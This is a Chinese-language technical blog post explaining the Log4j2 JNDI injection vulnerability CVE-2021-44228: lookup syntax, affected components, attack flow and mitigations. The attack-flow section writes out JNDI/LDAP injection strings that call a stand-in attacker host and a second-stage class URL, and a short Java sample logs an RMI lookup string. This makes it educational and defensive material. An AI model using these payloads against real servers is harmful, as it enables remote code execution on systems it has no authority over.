Log4j2安全 JNDI漏洞 CVE-2021-44228

 

Apache Log4j2是基于Java的日志记录工具。工具重写了Log4j框架,并且引入了大量丰富特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。因该组件使用极为广泛,利用门槛很低,危害极大,腾讯安全专家建议所有用户尽快升级到安全版本。

12 月 10 日,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,漏洞原理官方表述是:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词  ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行,据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。已知受影响应用及组件:

  • Apache Solr
  • Apache Flink
  • Apache Druid
  • srping-boot-strater-log4j2

漏洞详细描述

Log4j是一个 Java 语言的库(library)所谓「库」,通俗地说就是服务于特定功能、可以重复利用的软件代码;如果在开发其他软件时需要用到这种功能,直接拿来套用就行了,避免重复劳动。Log4j 是最主流、常用的 Java 库之一,它的代码遍及各类主流软件和服务;这就是 Log4Shell 波及范围广泛的原因。

Log4j 是根据配置文件中设定的「模板」来记录日志的。为了增加灵活性,Log4j 的模板中可以留下一些特殊语法的「待定内容」;在实际生成日志时,Log4j 会根据这些语法的指示,通过检索、查询、计算,将这些待定内容替换为实际内容后记录到日志里。例如,如果在模板里写 ${date:yyyy-MM-dd},那么 Log4j 就会将其替换为形如 2021-12-12 的当前日期记录下来;如果在模板里写 ${java:version},Log4j 就会将其替换为形如 Java version 1.7.0_67 的实际 Java 版本记录下来

除了这些比较常规的待定内容,Log4j 还支持一种更为复杂的替换方式,称为 JNDI 查询。JNDI(Java Naming and Directory Interface)是 Java 的一项内置功能,它允许 Java 程序在一个目录——可以想象为一个花名册或电话本中查询数据。JNDI 查询的语法是 ${jndi:<查询位置>} 例如${jndi:ldap://ldap.example.com/a}

LDAP(轻型目录访问协议,Lightweight Directory Access Protocol)是网络世界里一种特别常见的实现「花名册」功能的协议。简而言之,LDAP 通过一种标准化的语法(称为识别名,Distinguished Names 或 DN)记录身份信息LDAP 支持通过 URL 地址的形式查询信息。例如,访问如下地址,它会向 LDAP 服务器 ldap.example.com 请求常用名为 John Appleseed 的用户信息

ldap://ldap.example.com/cn=John%20Appleseed

实现漏洞的链条就此串了起来。上述功能组合在一起,造成的结果是:Log4j 在记录日志时,可以通过 JNDI 接口,向一个外部的 LDAP 服务器发送请求。

漏洞描述

  • 攻击者向漏洞服务器发起攻击请求。

  • 服务器通过Log4j2记录攻击请求中包含的基于JNDILDAP的恶意负载${jndi:ldap://attacker.com/a}attacker.com是攻击者控制的地址。

  • 记录的恶意负载被触发,服务器通过JNDIattacker.com请求。

  • attacker.com就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class

  • 攻击者执行恶意脚本。

例如

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
    private static final Logger LOGGER = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        String code = "${jndi:rmi://localhost:9001}";
        LOGGER.info(code);
    }
}

 执行日志处理时会lookup处理,lookups是一个Map集合,初始化了一组Key, 当消息内容种包含指定字符的时候,使用StrLookup对象执行lookup操作

 

 处理的时候调用 jndiManager执行字符串后边部分,例如 rmi://localhost:xxxx

 

修复方案

据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本, 建议升级log4j版本

临时方案

(1)修改 jvm 参数 -Dlog4j2.formatMsgNoLookups=true
(2)修改配置 log4j2.formatMsgNoLookups=True
(3)将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

=PNZ=BeijingL

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值